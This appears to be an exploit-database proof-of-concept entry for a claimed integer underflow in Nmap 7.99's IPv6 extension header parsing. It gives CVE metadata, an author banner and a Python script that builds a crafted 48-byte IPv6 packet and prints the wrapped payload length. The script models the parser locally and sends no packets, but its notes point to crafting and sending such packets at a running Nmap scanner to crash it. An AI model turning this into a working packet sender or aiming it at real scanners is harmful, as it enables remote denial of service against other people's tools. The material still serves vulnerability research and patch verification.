# Exploit Title: Nmap 7.99 - Extension Header Integer Underflow
# CVE: CVE-2026-58058
# Date: 2026-06-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://nmap.org
# Software Link: https://nmap.org/download
# Affected: Nmap <= 7.99
# Tested on: Nmap 7.99 (raw IPv6 scans)
# Category: Remote Denial of Service
# Platform: Linux / Windows / macOS
# Exploit Type: Proof of Concept
# CVSS: 6.9
# Description: Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
# Fixed in: Nmap commit bb6754e (post-7.99)
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --
#
# Notes:
# • This is a standalone parser + packet model PoC.
# • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
#
# How to Use
#
# Step 1:
# Save as exploit.py and run with Python 3.
#
# Step 2:
# Observe the length wraparound that would cause Nmap to misbehave.
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def is_extension(hdr):
return hdr in [0, 43, 44, 60]
def is_upper(hdr):
return hdr in [6, 17, 58, 132]
def parse_ipv6_payload(packet, upper_only=True):
if len(packet) < 40:
return None, None, None
nxt = packet[6]
p = 40
end = len(packet)
while p < end and is_extension(nxt):
if p + 2 > end:
return None, None, None
nxt = packet[p]
ext_len = packet[p + 1]
p += (ext_len + 1) * 8
payload_len = end - p
if upper_only and not is_upper(nxt):
return None, None, None
return p, nxt, payload_len
def main():
banner()
# Crafted packet (48 bytes)
packet = bytearray(48)
packet[0] = 0x60
packet[4] = 0x00
packet[5] = 0x08 # IPv6 payload length = 8
packet[6] = 0 # Next Header = Hop-by-Hop
packet[40] = 17 # Extension next = UDP
packet[41] = 1 # Extension length field = 1
captured_len = len(packet)
payload_offset, next_header, payload_len = parse_ipv6_payload(packet)
print("helper_returned =", "true" if payload_offset is not None else "false")
print("next_header =", next_header)
print("payload_offset =", payload_offset)
print("wrapped_payload_len =", payload_len)
# Downstream length adjustment model
ip_payload_len = (packet[4] << 8) | packet[5]
validator_len = captured_len
if payload_len > ip_payload_len:
validator_len -= payload_len - ip_payload_len
print("validator_len_after_adjust =", validator_len)
print("captured_len =", captured_len)
if __name__ == "__main__":
main()